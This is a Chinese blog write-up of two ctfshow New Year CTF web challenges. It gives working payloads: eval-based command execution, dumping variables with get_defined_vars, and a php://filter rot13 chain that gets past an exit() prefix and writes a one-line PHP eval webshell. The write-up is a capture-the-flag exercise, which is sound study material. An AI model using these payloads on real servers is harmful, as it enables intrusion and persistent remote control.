ctfshow 新春迎新赛 热身和web1

一不小心在ctfshow上看了新春迎新赛,也就尝试做了一下,也算是检验自己这段时间以来的成果吧!

热身

看到代码本能感觉挺简单的,就一个eval函数,于是我便直接传入了system(‘ls’);

没发现flag,于是又查看。

想着用通配符

发现没用,又用了?也没用。

所以想到了另一种无参rce。

首先查看了当前页面的变量,直接发现了flag,也算是误打误撞。

Payload:?f= print_r(get_defined_vars());

web1

刚开始看到这个的时候觉得很熟悉,好像之前写过有关绕过file_put_contents函数的题,找到后发现不一样,所以我直接在网上搜索了file_put_contents($content,'<?php exit();'.$content);

看了许多文章后理解了一点,遇到这类题,需要利用php伪协议filter进行嵌套过滤器进行消除死亡代码,然后进行shell的写入或者读取;

利用rot13编码来写入一句话木马

Payload:

php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php

两个竖线中间的内容即是用rot13编码后的木马

两竖线中间便是我们要插入的关键内容,将一句话木马写入一个文件中并利用木马来得到flag。

首先先运行一下

然后传入system('ls /');

看到了flag.txt,直接system('cat /flag.txt');

得到flag。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值